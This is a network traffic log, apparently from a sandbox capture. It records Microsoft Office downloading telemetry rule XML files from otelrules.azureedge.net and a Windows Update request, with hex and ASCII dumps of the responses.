2024-11-28 05:49:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:59 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054859Z-174f7845968pf68xhC1EWRr4h80000000y6g00000000bf38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054900Z-174f7845968swgbqhC1EWRmnb40000000y60000000006s2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:01 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:01 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 23665d8e-b01e-0098-3e05-41cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054901Z-174f7845968xlwnmhC1EWR0sv80000000xy00000000021n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:01 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:01 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:01 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054901Z-174f78459684bddphC1EWRbht40000000xvg0000000008vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:01 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:01 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 75932801-b01e-00ab-324d-40dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054902Z-174f7845968ljs8phC1EWRe6en0000000xy0000000002ksb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:01 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:02 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054902Z-174f7845968qj8jrhC1EWRh41s0000000xy00000000091dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:02 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054902Z-174f7845968kvnqxhC1EWRmf3g0000000grg00000000d472 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:03 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054903Z-174f7845968swgbqhC1EWRmnb40000000y2g00000000ecuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:04 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:03 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 2b15fac9-d01e-002b-104f-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054903Z-174f7845968cdxdrhC1EWRg0en0000000xy000000000a2gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49906	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9AM7fOcMCZtunDN&MD=TF3CUE6U HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 05:49:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6ad8a1bb-56a3-4f75-9961-d1d154caaca6 MS-RequestId: 25962004-729f-4521-a019-23b5e4e9d912 MS-CV: swRfMzPIGECn1Wp6.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 05:49:03 GMT Connection: close Content-Length: 30005
2024-11-28 05:49:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-28 05:49:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054904Z-174f7845968cpnpfhC1EWR3afc0000000xkg00000000dqt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
